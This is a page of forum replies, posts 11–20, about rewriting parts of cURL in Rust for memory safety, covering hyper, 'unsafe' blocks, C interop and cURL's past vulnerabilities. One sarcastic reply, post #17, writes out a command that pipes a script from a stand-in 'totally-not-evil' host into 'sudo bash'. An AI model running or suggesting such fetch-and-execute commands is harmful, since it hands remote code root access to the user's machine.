Wow, Rust being used in something as respected as cURL is a big endorsment !
Memory safe ‘curl’ for a more secure internet
11–20 of 210 posts
Re: Memory safe ‘curl’ for a more secure internet
#12Wow, Rust being used in something as respected as cURL is a big endorsment !
And a credit to the author of cURL as well:
> We’d like to thank Daniel for his willingness to be a leader on this issue. It’s not easy to make such significant changes to how wildly successful software is built, but we’ve come up with a great plan and together we’re going to make one of the most critical pieces of networking software in the world significantly more secure. We think this project can serve as a template for how we might secure more critical software, and we’re excited to learn along the way.
Re: Memory safe ‘curl’ for a more secure internet
#13Here's what Daniel Stenberg had to say about the move [1]
[1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...
Re: Memory safe ‘curl’ for a more secure internet
#14You can't get memory safety by picking a language with `unsafe` blocks. I appreciate the sentiment but the implementation details are important here; I'd take this more seriously if they picked something like OCaml instead of Rust.
It's not all-or-nothing. Numbers do exist between 0% and 100%.
Especially given that this is not a full rewrite from scratch - it follows more the model that Firefox uses: integrate components written in rust into an existing C code base. Rusts binding friendliness from and towards C will be a major point in such an effort.
Re: Memory safe ‘curl’ for a more secure internet
#15Wow, Rust being used in something as respected as cURL is a big endorsment !
curl can already use quiche[0] for HTTP/3, and that's written in Rust.
Re: Memory safe ‘curl’ for a more secure internet
#16I've been holding my breath ever since I saw https://github.com/hyperium/hyper/issues/2265#issuecomment-6...
Glad to see it seems to be going well!
Re: Memory safe ‘curl’ for a more secure internet
#17Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.
Re: Memory safe ‘curl’ for a more secure internet
#18Good news, doesn't matter if it is Rust or anything else with similar features, just improving security as a goal is quite valuable.
Heck, even Checked C would do, if it ever gets fully done.
In any case, looking forward to the results.
Re: Memory safe ‘curl’ for a more secure internet
#19Earlier quoted context omitted.
I don't have any data on exploitability, but 19 of the last 22 vulnerabilities (since 2018) have C-induced memory unsafety as a cause: https://curl.haxx.se/docs/security.html
Oh thanks, that at least gives some idea of the potential. I see e.g. "HTTP/2 trailer out-of-bounds read" and "SSL out of buffer access"... I guess there might be some candidates.
If you start from when Morris worm got released into UNIX world, there will be plenty to chose from.
Re: Memory safe ‘curl’ for a more secure internet
#20Wow, Rust being used in something as respected as cURL is a big endorsment !
Maybe WinRT won't get much respect, but it is also getting first class support for Rust, alongside .NET, C++ and Python.
https://blogs.windows.com/windowsdeveloper/2020/04/30/rust-w...